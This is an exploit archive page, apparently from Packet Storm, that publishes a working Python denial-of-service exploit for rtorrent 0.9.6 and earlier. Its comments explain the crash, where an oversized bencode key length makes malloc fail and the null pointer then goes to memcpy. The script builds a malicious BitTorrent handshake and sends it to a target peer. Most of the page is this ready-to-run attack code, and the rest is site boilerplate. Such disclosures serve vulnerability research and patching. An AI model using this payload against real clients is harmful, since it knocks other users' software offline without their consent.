Twenty Year Anniversary

rtorrent 0.9.6 Denial Of Service

rtorrent 0.9.6 Denial Of Service
Posted Jun 14, 2018
Authored by ecx86

rtorrent versions 0.9.6 and below denial of service exploit.

tags | exploit, denial of service
MD5 | 9112f5a4b93d3f374dd3059e367d761d

rtorrent 0.9.6 Denial Of Service

Change Mirror Download
# Exploit Title: rtorrent 0.9.6 - Denial of Service
# Date: 2018-01-10
# Exploit Author: ecx86
# Vendor Homepage: http://rtorrent.net
# Software Link: https://github.com/rakshasa/rtorrent/releases
# Version: <= 0.9.6
# Tested on: Debian GNU/Linux 9.4 (stretch)

# This crash is due to a bad bencode parse of the handshake data map.
# Specifically, by providing a massive length for a string, namely the key of a map entry,
# malloc fails, returning 0, which is passed to a memcpy call that causes the segfault.
# This can be triggered actively by sending the crash-triggering data to a seeding rtorrent
# client, or when a downloading rtorrent client connects to a malicious peer.

#!/usr/bin/env python
import socket
import struct

crash = ''
proto_name = 'BitTorrent protocol'
crash += chr(len(proto_name)) + proto_name # magic
crash += '00000000' # reserved extension bytes

# sha1 hash of info dictionary
# change this depending on your torrent
crash += '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

crash += '00000000000000000000' # peer id

msg = ''
msg += struct.pack('<H', 20) # message type: extended
msg += 'd99999999999999999999999999999999:' # payload

crash += struct.pack('>I', len(msg))
crash += msg

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('1.3.3.7', 6890))
s.send(crash)
s.close()


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    15 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close